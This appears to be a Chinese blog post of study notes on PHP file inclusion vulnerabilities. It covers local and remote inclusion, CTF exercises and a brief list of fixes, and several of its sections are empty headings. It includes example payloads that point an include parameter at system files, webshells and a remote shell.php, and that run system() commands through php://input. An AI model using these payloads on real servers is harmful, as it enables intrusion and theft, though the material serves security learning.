文件包含漏洞

文件包含漏洞概念
php相关函数和伪协议
DVWA靶场案例演示
CTF题目案例
文件包含漏洞挖掘与利用
文件包含漏洞修复方案

文件包含漏洞概念

为什么要包含文件

包含内容 包含页头、页脚 包含函数 公共函数 减少重复代码、便于维护

问题

可能会导致允许访问敏感文件或者执行恶意代 码,造成漏洞

分类

1.本地文件包含 Local file Inclusion

(1).固定包含

fileinc/footer.php

fileinc/main.php

(2). 通过接口动态包含

http://localhost/fileinc/include.php?file= footer.php

(3).包含敏感文件

http://localhost/fileinc/include.php?file=C:\ Windows\system.ini

(4)包含恶意代码或图片马

http://localhost/fileinc/include.php?file=shell.php

http://localhost:7298/uploadlabs/include.php?file=upload/shell.gif


2.远程文件包含 Remote file inclusion

(1)配置 allow_url_fopen 和allow_url_include

(2)访问

http://localhost/fileinc/include.php?file=http://远程IP/1.txt

http://localhost/fileinc/include.php?file= http://远程IP/alert.html

http://localhost/fileinc/include.php?file= http://远程IP/shell.php

(3)CVE实际案例

http://cve.mitre.org/cgi-bin/cvekey.cgi? keyword=file+inclusion

php相关函数和伪协议

函数

伪协议

DVWA靶场案例演示

CTF题目案例

1.文件包含漏洞类型

若为POST传参则利用hackbar工具

参数ctfhub=system('ls');

参数 ctfhub=system('find / -name flag*'); find命令,查询根目录下含有flag名的文件

参数 ctfhub=system('cat /flag');

2.php://input伪协议类型---->实质就是把参数写为php代码,然后会执行

?file=php://input

参数

参数

补充php://协议

条件:不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams)

CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了

其他可参考这篇博客文章

https://www.cnblogs.com/zzjdbk/p/13030717.html

文件包含漏洞挖掘与利用

文件包含漏洞修复方案

1、PHP配置

2、禁用动态包含

3、过滤协议、目录字符

4、设置文件白名单

posted @ 2023-09-02 01:26  hacker-dreamer  阅读(21)  评论(0编辑  收藏  举报